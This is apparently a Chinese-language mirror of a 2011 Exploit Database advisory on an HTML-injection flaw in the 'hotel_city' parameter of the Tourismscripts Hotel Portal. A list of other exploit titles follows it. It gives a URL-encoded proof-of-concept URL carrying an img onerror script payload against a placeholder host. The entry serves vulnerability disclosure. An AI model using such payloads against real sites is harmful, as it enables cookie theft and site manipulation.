Tourismscripts Hotel Portal – ‘hotel_city’ HTML Injection

Exploit Database
10 阅读

作者： Eyup CELIK

日期： 2011-08-24
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/36080/

source: https://www.securityfocus.com/bid/49297/info

Hotel Portal is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

http://www.example.com/city.php?hotel_city=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&dayfrom=23&monthfrom=8&yearfrom=2011&dayback=24&monthback=8&yearback=2011&guest=1&rooms=1&hotel_stars=&pricefrom=0&pricetill=250&B1=Search

last Exploits
Tourismscripts Hotel Portal – ‘hotel_city’ HTML Injection的更多信息

md5 Encryption Decryption PHP Script – ‘index.php’ Cross-Site Scripting：
AlchemyCMS 4.1 – Cross-Site Scripting：
Serendipity 2.4.0 – Remote Code Execution (RCE) (Authenticated)：
Zechat 1.5 – SQL Injection / Cross-Site Request Forgery：
Logitech Media Server 7.9.0 – ‘Radio URL’ Cross-Site Scripting：
DELTAScripts PHPLinks – ‘catid’ SQL Injection：
CodoForum 3.4 – Persistent Cross-Site Scripting：
Invision Power Board (IP.Board) 3.3.4 – ‘Unserialize()’ PHP Code Execution：